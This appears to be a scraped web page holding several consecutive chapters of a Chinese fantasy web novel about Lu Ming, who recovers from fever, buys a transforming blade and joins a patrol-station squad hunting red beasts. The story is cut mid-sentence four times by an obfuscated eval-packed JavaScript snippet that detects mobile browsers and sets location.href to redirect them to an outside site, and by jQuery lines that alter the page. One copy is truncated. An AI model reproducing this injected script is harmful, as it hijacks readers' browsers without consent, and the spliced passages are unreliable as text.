跟着尤维离开外设点后,她们绕路去找机车。 记忆在此戛然而止。 路名站在卫生间的镜子前,认真地端详自己这张脸。和她一点都不像,“路名”的脸偏方,又带点鹅蛋脸的样子,人太瘦,眉骨和颧骨都格外显眼。个子高了,人似乎长开了点,肉少了,多了点成熟的感觉。 她抬手去摸镜子里的自己,目光被手腕上的淡蓝色圆环吸引。 这是……光脑? 除了尤维尤品姐弟,她实在想不到还有谁和她这么有缘分。 乍一看,这个光脑的外观和支飞羽那个高档货相差无几,仔细端详后,她看出些许不同。 支飞羽的光脑有原点和一段弧形,而这个只有弧形,似乎是开关键,最显眼的碎银包边设计根本没有,手一抬,能看到很锋利的边角。 真好,路名心想,她终于有个像样的光脑。 尤维宁愿拿这个赔给她也不愿意赔付积分,想来这个旧光脑在应用上应该有不少硬伤。即便如此,也比之前那个大盒子好,轻便舒适,真好。 喜滋滋摆弄了会儿光脑,路名走出卫生间,回到客厅。 客厅,一片狼藉。 路名身体还是很烫,很虚弱。她坐在地上休息了会儿,开始着手清理地板上的垃圾。 她一边清扫碎屑,一边在心里斟酌说辞。该怎么跟尤维争取不用旧光脑赔地板呢?这个地板已经被水浸泡晾干发胀了,值多少积分,附近有没有材料卖,她愿意出人力…… 毯子上沾了些粥,还有些黏在碎碗里,路名不饿,大概猜到这是尤维给她准备的。她没怎么犹豫,拿起碎瓷片当勺子,一点点喝完粥,用手指把糊在毯子上的鸡蛋一点点刮干净。鸡蛋应该是散黄了,蛋黄口感一般。 人一忙起来,时间总是过得很快。 等路名断断续续收拾好,对着一个巴掌大的空洞发呆的时候,门锁“咯哒”一声,扭开了。 尤维回来了。 “嗯?你醒了?”尤维余光一瞥,看到坐在毯子上的路名,她拔出钥匙,收入裤袋,脚尖一抬,将门关上。 “谢谢你的光脑。”路名轻声道谢。 虚弱、沙哑的声音让她看起来多了几分柔弱,尤维在心里感慨她从鬼门关走回来,实在不容易,顺手拿起拿起桌上的杯子倒了两杯水。家里没有保温的东西,水是昨夜的水。 “不用谢。他闯祸还要我擦屁股,等他长大了,早晚收拾他。喏,这是我弟弟的杯子,你用我的。只有冷水。” 一口水润喉,路名感觉好多了。冰凉的水更让她感受到身体的灼热,她还在发烧。 “尤品呢?” “上学去了,光脑你看过了吗?应该还有电,你可以扫脸登陆账号。” 路名依言开始操作。 登陆个人账户后,整个页面更趋现代化,和之前的方盒子有大的不同。功能、界面背景。功能图标都出现变化。她一眼看到右上角有个刺眼的数值——账户积分余额。办好居住证,加上一些鸡毛蒜皮的日用开销,她只剩下五万多积分。 五万,就像一巴掌抽在她脸上。 支飞羽给她发了一条消息,算算时间,当时她应该已经到泰林,从车上下来了。 指尖轻点屏幕,界面的跳跃的瞬间,尤维突然开口:“你怎么坐在那儿一动不动,这个姿势容易往后倒吧?换个坐姿看看,像我这样,腿会舒服一点。” 路名匆匆扫过屏幕上的文字,神色一顿,指尖扫过光脑,关闭屏幕。 碎红AH-133?被支飞羽救出来后,她打了两针,一针治疗,一针补充营养,这个特殊的药剂是其中的哪一针?她在一号基地没多久,仅仅几次交易就已经充分体会到医药、武器这些东西有多珍贵。那块赤晶不足以支付这种珍贵药剂。 “你知道附近哪里有木板卖吗?”路名捏了捏手指,暂时把这件事放一边。 就算内心充斥着好奇和不安,她也没有足够的力量去查清这一切,更没有追责的立场。当时,一切都是顺理成章,被形势所迫。 尤维放下手里的杯子,面露疑惑:“你要买木板?” “有个事,可能……”路名慢慢吞吞挪开腿,露出被挡住的“案发现场”,“你看这个,我真的是不小心,做噩梦弄出来的。我愿意花积分修,或者我自己去买木板自己修也行。” 洞口不深,各种垃圾碎屑堆在里面,差不多有七分满。在一堆木屑中,一块红色糖纸的边角像一面旗帜,耀武扬威树在最顶端。 气氛微微僵住,尤维和路名大眼瞪小眼,在沉默中望着彼此。 “你弄的?你确定你弄的?”尤维绝不相信一个高烧不退的病人能打穿木板,还把东西收好。更何况,她说的是“噩梦”……说不定烧糊涂了,现实和幻境分不清。 这个洞,看着很诡异。 这个糖纸是从哪儿来的?她家这么穷,路名连个像样的光脑都买不起,哪儿来的积分买这种华而不实的东西?不用想都知道是谁干的。 ——尤品! 刚付完玻璃的积分,尤维满心肉痛地回家,心力憔悴,此刻看到地板上的洞和糖纸,火气更大,“尤品!这学我看你是不想上了!” 在路名不明所以的眼神中,尤维摔门而去,没过多久,门外响起机车的轰鸣声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753877|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路名百无聊赖躺在屋里,好几次打开光脑想问支飞羽关于那支药剂的事,又因为不知从何说起而屡屡作罢。她想了想,只简单发了三个字:知道了。 一个小时左右,她隔老远就听见尤品一路大呼小叫,光听那声音,脑海里也能想象出一张龇牙咧嘴的脸。 门是被踹开的。 门板摔在墙面上,整个房子似乎都震了震。 “姐,我都说了,真不是我,你不许冤枉我。你再揪我耳朵我要生气了,大家都说我耳朵大,特别显眼,肯定是你从小拧我耳朵拧出来的。”尤品嗷嗷叫着,被推着往里走。 客厅本就不大,没走几步,他就被推在地上,整个人照狗吃屎的姿势跪趴在地上。 他一抬眼,看到小红旗似的插在洞里的糖纸,眼睛都睁大了不少。 一双挤出双眼皮的大眼睛慢慢往上抬,用不可思议的目光瞪着路名,良久,憋出一句:“算你狠。” 竟然把他偷偷收藏的糖纸放在这么显眼的位置,太过分了,这不纯纯挑事吗?难道昨天这家伙是装睡,其实早就醒了,今天故意整这一出就是为了报复他?他们什么仇什么怨啊? 一巴掌拍在他后脑上,他吃痛喊疼,干脆趴在地上装死。 “装什么装,这糖纸是不是你的?我是不是跟你说过不要跟那些孩子学,不要跟他们厮混,我们俩什么家庭,他们什么家庭,你没点数吗?”尤维真是气不打一出来,打了一下消消气算了。 等他们俩闹完,路名小声开口:“那个,这个是我打出来的。” “姐!”尤品委屈地叫起来,“你看她,你听听,这真不是我打的。”在姐姐斜过来的眼神里,他紧跟着小声承认:“那个糖是我吃的。” “没撒谎?”尤维对这番话信了八九分。尤品胡闹归胡闹,最多撒一次谎,真有大事从不含糊。 “真是你打出来的?”尤维还是有些难以置信。 一个病人,力大如牛,这合理吗? “真是我,我愿意赔偿积分,或者我去买木板回来修。”路名指了指门外,看着地上替她背锅的尤品,“不好意思啊,我没想到这是你藏的糖纸。挺好看的,我就一起堆进去了。”当时真没想那么多。 “没事。”尤品一朝洗清冤屈,神清气爽爬起来,揉揉后脑勺,如逢知己般,说话的语气带着几分快乐,“怎么样,这糖纸漂亮吧,我姐总说这东西没用。” 说到这个,尤维就气不打一出来,“除了招老鼠、蟑螂那些东西,还有什么用?每次让你洗干净,你都不洗。不惹脏才怪!” “为什么不洗干净?残留的糖汁确实会吸引那些虫子。”路名有心想劝劝尤品。 这孩子是真“耐打”,当初在无证居民区偶遇,从某种程度上说,尤维还真没骗她。屡次被打,没有一丝怨言,甚至还算阳光,处在这个年龄段的孩子能有这种定力,真不简单。 “洗干净就找不到了。”尤品满脸委屈。 当他没洗过吗?当他不知道一个糖多贵吗?要是不洗,糖纸放在哪儿就粘在哪儿,不会跑,多方便,多省事。 尤维一听这话,呵呵冷笑两声,“从小到大,我看你也没少吃几个啊。刀练得也就那样,嘴是没听过,要不是经常让你去锻炼,怕是能养出一胖子。” 尤品:“……” 木板穿洞的冤案暂告一段落,尤品被耳提面命的赶去门口练刀,而路名则被领着去买木材。尤维本来打算等她烧退了再出去,奈何路名三番五次提起这件事,想着天还早,就带人出去走走。 屋外是一条很宽的河,河水发黑,臭气熏天。道路被房屋挤占,非常狭窄,两边没有堤岸,稍有不慎便会踩空掉下去。 尤维走在靠河水的那边,和路名边走边聊: “我听队长说,你办居住证是想来下城区,怎么样,看到下城区这幅样子,你还想来吗?” “想。”路名只是扫了周围一眼,没有一丝犹豫。 她的语气太坚定,坚定到尤维多看了周围两眼,她实在找不出这里有什么好的,就比无证居民区好一点吧,人少一点,房子多一点,只要她想,可以找个不用花钱但也不遮阳不挡雨不防寒的棚子住下。 和下城区相比,无证居民区挣钱更容易。 “对你而言,或许下城区会成为限制你的成长。真到了那时候,说不定你会后悔。” “后悔就后悔。如果因为后悔而畏手畏脚,说不定在临死之前,我会发现人生就是用来后悔的。”路名自嘲的笑了笑,目光落在河面上一块漂浮的布料。 布料鼓起一个大包,下面似乎还有东西托着,在水面上起起伏伏。 尤维跟着慢下脚步,注意到那块布料,很快就移开目光,“你不觉得你的想法太极端了吗?” “如果你站在一条船上,河水平缓,水面辽阔,风很小,你会希望船加速还是保持原速?”路名笑着问,约两三秒,她自顾自回答:“这两种情况都存在。看着河水缓慢,你或许会因为某事而希望船速快点,也或许会沉迷两岸的景色而无视船速。” 尤维迅速反应过来,路名举的两个例子恰好对应她们俩,希望保持原速的是她,希望加速的则是路名,“如果船速过快,遇到暗礁,一触即沉。相反,原速更容易探查水下情况,避开危险。” “暗礁乱流避无可避,如果不会游泳,照样得听天由命。”路名对这幅光景怅然若失。 以前和她辩论的是师兄,持稳妥离场的总是她,师兄行事稳重,思想却像个叛逆的孩子,总会有千奇百怪的点子,好在他深知山下人世险恶,失去铁饭碗会少很多快乐,大多只是说说而已,而现在,立场对掉,路名不是师兄,做不到可进可退的任性而为,她必须一路向前,披荆斩棘。 尤维对她的观点无话可说,她们明明是在面对面交流,却好像隔了一面墙,看见了什么,却又有什么被挡住了,“路名,成为猎人,或者只是在这条路上,会有很多意想不到的危险。” “我知道,那些‘材料’就是其中一个吧。如果事与愿违,材料就材料吧。”说这话时,路名惊觉这个想法太激进了,和她之前简直判若两人。 她明明是躺平派,却被迫成为彻彻底底的激进派,无畏生死,向死而生。 这个时代啊,真的没怎么给普通人留条活路。 “总得做点什么,如果不去下城区,就找不到入学的门槛,如果能上学,说不定,我还能去中城区、上城区坐会儿。” 此时此刻,尤维感受到一股浓烈的悲伤气息。 明明是那么斗志昂扬的话,因为她知道这条路有多凶险,几乎是独自开辟一条路,所以更觉得悲哀。 她很喜欢这个小姑娘,从前是可怜她,现在是为她难过。 她从小生活在一号基地,小时候把尤品从太阳园带出来照顾已经是骇人听闻,现在遇到比她更疯狂的路名,疯狂到让她忍不住想支持她,忍不住为她默哀…… 26. 巡逻站(5) 路名修好地板,第二天早上回到无证居民区。走之前,她付了一点积分作为收留和光脑充电的费用,醒来后她一直喝自己买的营养液,没花积分。 至此,他们算是两清。 “巡逻站没有那么糟糕,代刷客很吃香,你可以试试。”尤维送她过出入口,拍了拍她的肩膀。 关于路名的事,这几天跟在队长后面跑前跑后,她陆陆续续听说了些。她不想再干涉别人的人生,只是给点忠告。这个基地没那么好活下去,再待一段时间,她说不定连那种天真的想法想都不敢想。 “我知道,我报名了。”路名点头示意,在对方惊诧的目光中转身离开。 有了新光脑,她闲暇时间都在搜寻工会和巡逻站的资料。各大工会有自己内部的论坛,也有联合的对外论坛,游客准入,入会细则被顶置在第一层;巡逻站的资料很少,报名更简单,用个人账户登入,可以直接预约。 路名约了今天下午去基地外D3区巡逻站的名额,准备路上喝点营养液,补充物资,直接过去。 小巷口,有人用红漆画上“武器库”三个歪歪扭扭的丑字和一个箭头,路名路过瞟一眼,走过去又折回来,拐进巷子。她需要武器。 “要什么武器,自己挑。”老板是个尖脸矮小的女人,眉毛上有颗痣,又大又黑。她坐在门后的凳子上,整个人窝在阴影里,只微微抬头,掀起眼皮盯着来客,眼神怪瘆人的。 路名在不大的店面里转了转,想不出自己擅长什么武器。 以前跟着师兄混日子,她连锻炼都是看心情看天气,能躲则躲;前几次动手,大多数时候是生死之际,求生的本能催动身体做出反应,她没多少长进。 “有什么推荐的吗?” “推荐?武器是保命的,你的命也要别人推荐,要别人决定吗?”老板冷冷地问道。 路名一顿,心里认同又觉得无奈。 她的目光划过上下三层架子上的武器,热兵器,如枪之类的,她买不起,冷兵器,像刀之类的,刀刃薄,没有掌握合适的发力技巧,很容易在碰撞中提前弯折…… “试试这个。”不知何时,老板从后门拖出来一个灰蒙蒙的架子,手一按,屏幕上显示数字。 “这是测什么的?”路名凑过去,围着看了看,想不出这东西和“武器”有什么关系,这东西形状怪异,形似蜘蛛,偏偏体态庞大,行动不便,六根肢体又粗又短,攻击力估计一言难尽。 “你试着把它举起来。”老板手一指,自己退后。 路名遵照她说的,走到这个大怪物身下,双手向上托起。她哪里举得起来?八成是测力气之类的吧。这样想着,她开始发力。 突然,一道黑影闪过。 蜘蛛的前腿毫无征兆地向内刺过来,关节处伸长,速度极快。路名双手一松,两腿叉开,惊险躲过。 “手别松,一直按在上面。”老板大声喝道,“这东西专门测你的反应、力气这些方面,要是不知道自己擅长哪种武器,它可以给你‘推荐’。” 路名只来得及用余光扫一眼在旁边阴阳怪气的老太婆,伸手扒住蜘蛛的腹部,咬着牙快速把自己往上拽,躲过后面一条腿的袭击。这东西不仅速度快,攻击没有任何规律,关节处可以伸缩,也可以弹射,前肢时而是刀,时而跟子弹似的,“嗖”一下擦过脸颊,耳朵嗡鸣。 “反应速度还可以。大二的学生?”老板站在旁边,盯着光脑上快速变化的数据,喃喃自语。 等加到三条腿一起动手,店里的动静大了不少。 老板从门后抽出一块牌子:暂不营业,施施然放在门口,目光仍旧紧盯光脑。 “对刀更敏感一些,鞭子也不错,会预判,力气也还行,应该是大三的,这反应速度是差了些。啧,最常见的子弹表现最差,只会躲,两次失误都是躲子弹没顾上。这是哪个教的胆小鬼?”她絮絮叨叨念完,等路名出现第三次失误,才摁下暂停键。 蜘蛛一停,路名双手一松,摔在地上趁机一滚,缓冲些许压力。 一米左右的高度,屁股摔得巨痛。 “就你这水平,想当猎人还早着呢。”老板从货架上抽出一根特殊的短刃,递给路名,顺便阴阳怪气的讽刺一句。 这把刀很轻,刀面非常不平整,像鱼鳞。路名握住刀柄,摸到一个开关按钮,她轻轻一按,刀刃瞬间弹射而出,变成一把一米长的长鞭,暂按一次,鞭子收回,变成一把短刀。刀柄末端可有三道风的图案。 “我不要。” “不要?”老板脸色耷拉下去,十分不爽,“既然知道自己需要什么武器,就别浪费时间,自己挑。我这店不大,各种武器还算齐全,挑到了再找我。” “刀很好。这把刀太贵,我买不起。”路名起身将刀放回柜台,扭头一看,老板跟过来,拿走短刀。 刀刃出鞘,寒光凛凛。 两个人眼中都闪过一抹欣赏之色,又转瞬即逝。 老板懒得多说,一把将刀拍在桌上,冷声道:“两万积分,要就拿走。” 只要两万?路名震惊了。按她的预想,这短刀胜在构思巧妙,至少要再加个零。几十万起步才算正常。材质一类她完全不懂,能这么便宜,难道是材质一般? 一想到泰林那些自带腐蚀性能的红兽,她顿时觉得刀的材质没那么重要。 心一横,她刷掉两万积分,带走短刀。 巡逻站代刷客横行,她初来乍到,未必有那么好的眼力和运气,势必危险重重,有个能出其不意的武器傍身,总归是好的。 又顺路买了几瓶营养液,暂时补足物资,她才一路赶去巡逻站的集合点。 D3区在靠海的滩涂上,和基地相隔两座海拔五百多米的山,需要乘坐飞机过去。前不久,D3区刚处理了两处红兽侵袭,将幼兽带回,人员伤亡严重,所以这一次有六人应召,路名是其中之一。 “认识一下,我是你们的队长,我叫顾长。D3区巡逻站依山靠海,需要两队。喊到名字的,是我的队员,剩下的人,你们和巡逻站驻守的那一队汇合。”改装直升机旁,虎背熊腰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787967|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人大声说道。他的面相和身材都是粗犷的一类,性格还算不错,第一次做自我介绍,浓眉大眼中能看出些许温和。 “庄木、翁迟、牧云。你们和我一队。” 原本混在一起的五个人瞬间分成两份,两男一女走出来,和顾长站在一起,路名和剩下的一个瘦不拉几的男生站在另一边。 那四个人有一搭没一搭说这话,将剩下两人隔开。 路名见识过支飞羽小队一起行动的样子,知道小队协作的重要性,对他们提前熟悉的行为并不反感,倒是隔壁这个男的,这人看上去和尤品差不多大……无证居民区的代刷客? 如果是,那可太讨厌了。 不论路名会不会成为代刷客,她很清楚一点——如果一个队伍里出现一个代刷客,就代表多了一个提前偷跑的人。代刷客是不会顾及队友的生死而愿意拼命博取一线生机的,他们要做的,从来都只是混时间。 时间到了,飞机起飞,远远地绕过两座山。 “我们不直接飞过去吗?”庄木问。他是个看起来身体孱弱的中年人,话不多,说话时总会停下来清一清喉咙里的痰。 顾长望着舷窗外的山体,沉默了会儿,没等到第二个人说话,便开口说道:“这事儿我知道一点。前几天基地不出事儿了吗?猎人们一路排查,这两座山也在其中。现在整个山体禁行,飞机飞不过去,只能绕路。” “这么近!”翁迟惊叫一声,立马挨牧云一个白眼。 牧云生了一双丹凤眼,斜眼看人颇有威慑力。作为队伍里唯一的女性,她有不小的话语权。“我们要去的D3区有一部分也被划入受影响范围,有猎人帮忙,压力减轻不少。” “同样,如果猎人出事需要我们,或者有必要的话,我们得上。”顾长补上一句。 没有人接话。 如果“有必要”……愿意去巡逻站的,都是努力维持自己的生活的人,谁都不想死,更不想提前咒自己去死。 路名在一阵沉默中从舷窗的影子看徐人的反应。 这个和她同队的孩子,叫徐人。 徐人就像个木头人,低着头,偶尔玩自己的手,除了别人问他,他绝不主动开口说话。他左手缺一根食指只剩一小节,右手缺一根小拇指的第一节,两个手长短不一,刚上飞机就被所有人注意到了。除了问个名字,没有人询问他的来处。 路名将目光从舷窗移开,目光扫过飞机上几人,缓缓开口:“你们知道‘代刷客’吗?” 几人瞬间变了脸色。坐在另一端的顾长皱紧了眉头,而他对面的牧云只是瞥过来一眼,庄木面无表情,甚至还有几分茫然,至于徐人和翁迟,则是垂着脸,在众多表情中茫然抬起头,似乎刚刚走神了。 “我知道。”顾长不咸不淡地开口。 路名故意问出来,就是想看看这些人对代刷客这种人的看法。幸运的是,她身边有一支完整又彼此不熟悉的队伍,不幸的是,她不是这个队伍的一员。 队伍与队伍之间的关系是否和谐,这也是个问题。 27. 巡逻站(6) “大家都是出来挣积分的。”顾长环顾众人,目光落在同组的三人脸上,冷声表态,“怎么挣,挣多少,我不管。遇到危险,该你上就得上,否则……小心别被我看到。” 庄木瑟缩在靠背上,点点头,神思飘渺。 “我同意。挣积分可以,遇到危险想提前跑,我牧云的枪绝不会放过他。”牧云点了点头,目光落在庄木的脸上,没多说什么。 余下的人或是点头示意,或是抬头互相看了看,半强迫着签下这份承诺。 路名坐在舷窗边,点开光脑,打开支飞羽的聊天界面。震慑代刷客,是她的第一步;接下来,她想从支飞羽那儿了解更多关于巡逻站小队的消息。 一个大的巡逻站拥有数个小队,小队之间是否团结,如何团结,她一无所知。 【道爷: 你上次去巡逻站是为了挣积分吗?】 “路名,你是今年刚毕业来刷分的学生?”翁迟突然发问,将众人的注意力吸引过来。顾长和牧云一下子注意到那个正在运行的光脑,眼神中多了几分诧异和了然。 “代刷客这种事,屡禁不止,有利有弊。”牧云的语气里有几分安慰人的意思。 路名摇了摇头,一头雾水。 代刷客?怎么突然有种别害人的即视感,她也没干嘛呀? “我不是代刷客,也不是学生。” “那你的光脑……这款光脑是二中优秀毕业生的毕业礼物吧,每届毕业生中也就百来个名额,定制的。我认识一个哥,他有个和你一样的。”说起那位大哥,翁迟的神色顿时飞扬起来,整个人都自信不少。 “这个光脑是别人赔给我的,她弟弟弄坏了我的光脑,以物换物。”路名简短说明后,继续低头发消息。 翁迟皱着眉头,满脸疑惑。二中的优秀毕业生,又有弟弟这种亲属在,绝不是从太阳园出来的孩子,所以,那个朋友至少是中城区的人。中城区的人买不起光脑? 牧云和顾长互相交换眼神,和翁迟一样对路名的话充满怀疑。 【一支飞羽: 不算。高中毕业,进入猎人学院的第一学期,有一场大型比赛,今年大一新生可以参加,前提是在巡逻站刷到足够的功绩。】 路名注意到,支飞羽说的是“功绩”,而不是“积分”。 什么是功绩? 【道爷: 你们清理红兽,救人,是巡逻站安排的。为什么只有你们一队,其他队伍不一起行动吗?】 【一支飞羽: 就近原则。那只红兽异变了,但不够强,我们小队处理速度够快,不需要其他队伍支援。】 一键发送,支飞羽单手拧开瓶盖,咕咚咕咚灌下大半瓶,想了想,又开始编辑信息。路名去巡逻站的事,刚刚尤维趁巡逻的间隙和他说过。这会儿问这个,八成是在路上。 这姑娘的行动总是奇奇怪怪,明明一心想去下城区,转头又跑去那么抵触的巡逻站,变脸速度真快。 突然,一只手拍在他后背上,“嘿,看什么呢?下一场训练要开始了,老杜刚出去搞了个大家伙进来,大伙儿都在窗边看着呢,你不去凑个热闹?”鲁胖子凑过来,瞄见光脑上“道爷”两个字,心里还有点疑惑,认识的人里也没人叫这名儿啊,下一秒,他整个人天旋地转,一眨眼的功夫就被摔地上。 “知道了。”支飞羽收回手,神色淡漠地敲字。 【一支飞羽: 大型巡逻站,队伍之间的关系比较紧张。小型巡逻站,队伍中的代刷客容易临阵脱逃。队伍合作不紧密,遇到危险时大多是单人作战。】 “啧~嘶~”鲁胖子摸着后脑勺坐起来,一仰头,看到支飞羽棱角分明的下颌线和生人莫近的气场,略感不爽。 随着金属门锁扭转的声音在宽广的空间渐次响起,所有人都朝大门看过去。 …… “路名,徐人,是哪两位?” 飞机后半程,路名晕车症又犯了,匆匆扫过支飞羽不带任何个人色彩的科普,观赏光脑,闭目养神。好不容易熬到目的地,她拖拖拉拉从飞机上爬下来,还没来得及休息,咋咋唬唬的声音又过来扰她。 “我叫郑山,你们的队长。71小队欢迎你们。” 刚见面,这位名叫郑山的队长就张开双臂,看似是要拥抱,实则刚近身就扛起两个被飞机折磨的人,脚下生风,直奔巡逻站。 路名有种误入野人聚落,被当成食物争抢的错觉。 论体格,郑山绝对比顾长还要壮;论力气,顾长甘拜下风;论性格,这家伙太热情太粗糙了。从飞机停机坪到巡逻站休息扎营地,少说也有几公里,他硬生生扛着两人过去,丝毫没注意到肩上的两人越来越苍白的脸色和越来越虚弱的喘气声。 “人我带来了,老陈,老陈,我们人全了。”一脚迈进门,郑山就扯开嗓门大声吆喝。 屋子里有三张方桌,十二张长凳,东侧、北侧各有一个门。一位头发花白的老爷子坐在靠近东侧的办公桌前,正盯着屏幕。听到动静,他抬起头,看到门口这一幕,眉头紧皱。 “郑山,把人放下。”他出声呵斥道:“那是你的队员,不是你的玩具,去倒水!” “噢。”郑山笑容一垮,老老实实去找水。 路名喝了两杯水,胃里翻江倒海再没有什么可以吐的了,才放下茶杯,趴在桌上休息。 老爷子走近,捏着笔杆子在桌角敲了敲,“虚头巴脑的玩意儿,这么弱的身体,来这里做什么,送死吗?知道这是什么地方吗?” 路名尽力坐直身体,看了眼对面昏昏沉沉的徐人,问道:“老爷子,你也是我们的队员?” “老爷子是这里的常驻守卫,姓陈。”郑山嘿嘿一笑,像个傻子。 陈老爷子伸出笔杆戳了戳他的额头,留下一个浅浅的印子,“少嬉皮笑脸,去看看后面那个队伍到哪儿了,走这么久还没到,这一个个的,都把巡逻站当成什么?哼!” 正说着,顾长领着队员陆续走进来,就近找张桌子坐下。 “77小队,前来报道。” “既然人到齐了,我们现在就说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们要清楚一点,D3区和其他区域不一样。在这里,你们不需要、也没有办法时刻联系队友。你们以为你们刚见面就有默契,就能配合吗?巡逻站不是训练场,稍微多打听打听,你们应当知道,在基地建成之前,人类就是依靠巡逻站之间的联系固守领地。你们每个人都可以是那支机动小队。你们,必须死战不退。”陈老爷子语气铿锵有力,掷地有声。 一分钟后,路名和其他人一起陆陆续续走出巡逻站的小屋,根据光脑上的指示,往木羽所在的位置走去。 庄木朝手心吐了两口唾沫,搓了搓掌心,硬是挤到顾长和翁迟的中间,翁迟另一边事郑山。他朝两个队长看了看,清了清嗓子,“虽然那位老爷子那么说,但怎么说,咱们面对的都是活生生的红兽,互帮互助,互帮互助,成不?” “老爷子说了,红兽的生命波动微弱,是幼崽,用不着这么忌惮。该怎么来,就怎么来。”牧云边说边拔枪上膛,将腰带上的匕首一一抽出来检查一遍。 “你们去和木羽汇合,我们去其他地方转转,看有没有其他红兽幼崽翻进来。”进入森林前,顾长决意和郑山分开行动。 两队人各走一边。 28. 巡逻站(7) 踏入森林没走多远,路名便感觉到阵阵寒意。 “滴—”三个光脑齐齐发出信号,他们和木羽的信号勾连起来,正在显示两方位置。 半分钟后,光脑上有红点显示在右手边过一条小溪,约五百米远的一处靠近山体的位置。木羽停在那里。 “她是不是死了?”鲜少说话的徐人率先停下来,走在前面的两人不得不跟着他停下来,避免迷失在这树叶出奇茂密硕大的树林中。 “老爷子说木羽擅长探查,很机灵,不会有事。”郑山左手握拳,在胸口拍了拍。 他这副有点中二但信誓旦旦的样子丝毫没有打动徐人,徐人站在原地,低头思索一会儿,语气坚定地说:“我们不能都去。她的位置对我们不利,背靠大山,间隔溪水,周围都是树林。要是她被咬死了,被红兽当作诱饵,诱使我们上钩,我们逃得出去?绝对会全军覆没。” 郑山似乎被说动了,歪着头思考一会儿,语气没有之前那么坚定,“但是,老爷子说了,可以救。” “你想怎么样?”经过短暂的相处,路名对郑山的印象还不错。这人性格是粗糙了点,但身强力壮,性格还算单纯好骗,作为队友,不会让人太难受,与之相比,徐人一路沉默寡言,现在开口,虽然言之有理,但刚刚不说,非得现在两队分开才说,有分裂队伍的嫌疑。 “我们不能都去,至少,我们不应该去救一个呆在原地等待救援的人。身边有红兽虎视眈眈,这人怎么可能呆在原地一动不动。我们就这么进去,太危险了。”徐人皱紧眉头,语气中满是担忧和谨慎。 他不想去,又特意留在队伍末尾提出意见,在和路名、郑山相距近两米的位置,身体力行表达对这件事的抗拒。 “她可能躲在山洞里等我们。她敢一个人探查,不会鲁莽行事。”风声飒飒,路名望着徐人,脑海中浮现泰林山洞里那一张张麻木的脸。那些人都死了。如果当时能多些人,多几个清醒的人,说不定就能多活几个人,钱云明明是有机会活着回来的…… 郑山挠挠头,不知道该怎么办,他看向路名,希望队伍里另一个人可以拿个主意。 “你不想去,可以,但你也必须前进,和77小队一起在附近戒严。”路名退后一步,轻易放过徐人的摸鱼请求。在她看来,巡逻站遍布危险,贸然离队并不代表绝对的安全,徐人这一举动很符合代刷客事儿少钱多苟到最后的做事理念。 代刷客…… 路名在心里冷笑两声,和郑山一起快速向前移动。 他们很快来到地图标注的小溪旁,根据地势和水势推测,这条小溪上游是从高山上垂落而下的瀑布,历经蜿蜒曲折的山路,水流渐趋平缓,水面渐窄。 而现在,横在他们眼前的是一条血河。血腥扑鼻,令人作呕。 “这些血,呕~”路名连一句话都说不完整,条件反射的蹲下来干呕。这里实在是太臭了。稍作停歇,她从包里掏出一支高级营养液,拔开塞子,用香气驱散臭气。 “哪儿来的味道?”郑山吸了吸鼻子,转身看到路名手上的营养液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807826|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛一亮。 “我也想要。” 路名观他的神态和语气,十分有九分像个讨食的孩子,偏偏身体确实令人畏惧的成年人的体格。而且,他丝毫不受血河里的腥臭味影响。 这个人有点奇怪。 “想要?”路名转身躲开郑山的靠近,后退两步。 她一边用高级营养液的香气吸引郑山,一边问话,“你是第一次来这儿吗?这条河里的血,你不觉得恶心?” 郑山摇摇头,粗旷的面容上露出一种天真的神色,“我跟着老爷子去过很多地方,但那些地方我记不清了,都不记得了。这里的味道,很熟悉,很舒服。我喜欢。” 得到想要的答案,路名立即收起营养液,隔绝香气。香气不仅能驱散臭气,也能吸引一些恶心的虫子。 失去诱人的味道,郑山的脸上闪过浓浓的失望之色。 他没有死缠不放,而是踌躇了会儿,转身淌过小溪。这一举动,是能克制自身欲望的成年人该有的表现。究竟是少年对欲望不加克制的直白显露,还是成年人装傻充愣的运筹帷幄,路名越发感觉到这位队长身上的割裂感。 她紧跟着淌过溪流,去和另一位备受老爷子信任的队员汇合。那位只身独闯的木羽会是什么样的人,她很好奇,也很期待。 